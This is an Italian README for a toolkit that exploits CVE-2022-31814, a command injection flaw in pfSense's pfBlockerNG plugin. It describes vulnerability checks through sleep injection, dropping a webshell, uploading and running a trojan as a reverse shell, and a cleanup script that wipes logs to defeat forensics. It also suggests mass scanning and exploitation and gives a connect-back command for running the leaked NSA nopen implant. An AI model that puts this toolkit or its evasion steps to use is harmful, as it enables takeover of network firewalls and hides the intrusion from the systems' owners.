CVE-2022-31814 Toolkit di sfruttamento.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) Toolkit di sfruttamento.
Questo è un toolkit di sfruttamento per la vulnerabilità di iniezione di comandi remoti nei plugin pfSense pfBlockerNG <= 2.1.4_26, scoperta da IHTeam.
L'ho scritto per giocare con alcuni dei principi di progettazione del toolkit di sfruttamento firewall della NSA – per questo motivo, è progettato per essere completamente compatibile con l'impiant nopen (con una piccola modifica documentata), ha funzionalità integrate di pulizia dei log ed è estremamente affidabile implementando alcuni controlli pre-volo (test di vulnerabilità passivi e attivi).
Un semplice payload di shell TTY inversa scritto in Python (questi sistemi hanno un interprete Python) viene fornito come sostituto di nopen in questo toolkit, perché eseguire binari discutibili rubati alla NSA sembra un po' avventato in ambienti di produzione.
Per scansioni yolo per piccole bug bounty e sfruttamento di massa, esegui il template nuclei fornito (dovrebbe essere già stato upstreamato a questo punto). Questo ti darà una lista di target. Il file si chiama nuclei-CVE-2022-31814.yaml.
Per la cura attenta delle reti, ci sono quattro "modalità" che devi conoscere, documentate di seguito. Eseguile in ordine. Si impostano con il flag --mode.
Questa modalità effettua due richieste HTTP – una per verificare che sia effettivamente un pfSense (controllando il titolo HTTP su /), e una all'endpoint vulnerabile per verificare che sembri a posto. Questa modalità non sfrutta nulla.
Questa modalità effettua due richieste HTTP – entrambe sfruttano la vulnerabilità.
Inietta un sleep 1 e un sleep 10 e verifica che la differenza di tempo tra le due richieste sia maggiore di 6 secondi.
Ho aggiunto un po' di fattore di "fuckit" per tenere conto della latenza se stai lanciando l'exploit attraverso un proxy (lo stai facendo, vero?).
Questa modalità effettua 3 richieste HTTP.
La prima sfrutta la vulnerabilità per rilasciare una webshell usando una richiesta GET. La seconda usa la webshell per caricare il nostro trojan usando una richiesta POST. La terza usa la webshell per eseguire il nostro trojan usando una richiesta POST.
Questa modalità effettua due richieste HTTP. La prima carica uno script di pulizia usando la webshell. La seconda esegue lo script di pulizia.
Lo script di pulizia cancella i log, elimina il trojan, elimina la webshell, e poi elimina se stesso. Lo fa in modo ragionevole (rm -rf). Non particolarmente solido dal punto di vista forense – potrei sistemarlo più tardi usando dd per sovrascrivere i file prima di eliminarli. Potrei anche scrivere un po' di magia con sed per cancellare chirurgicamente i log, ma solo se me ne va.
Per usare nopen, basta sostituire il comando finale "execute trojan" nella funzione exploit() con il seguente:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
E fornisci un binary nopen (noserver) per FreeBSD che funzioni sul tuo sistema di destinazione – potrebbe essere difficile: devi patchare il noserver-3.3.2.3-freebsd_8.0-i386 dal leak EQGRP per usare libkvm.so.7 invece di libkvm.so.5, e il sistema di destinazione deve avere il layer di compatibilità lib32... Che non è installato di default in pfSense.
Potrei aggiungere un flag --nopen per automatizzare questo in una versione successiva, se le persone ci tengono davvero tanto a usare nopen. Non dovrebbero.
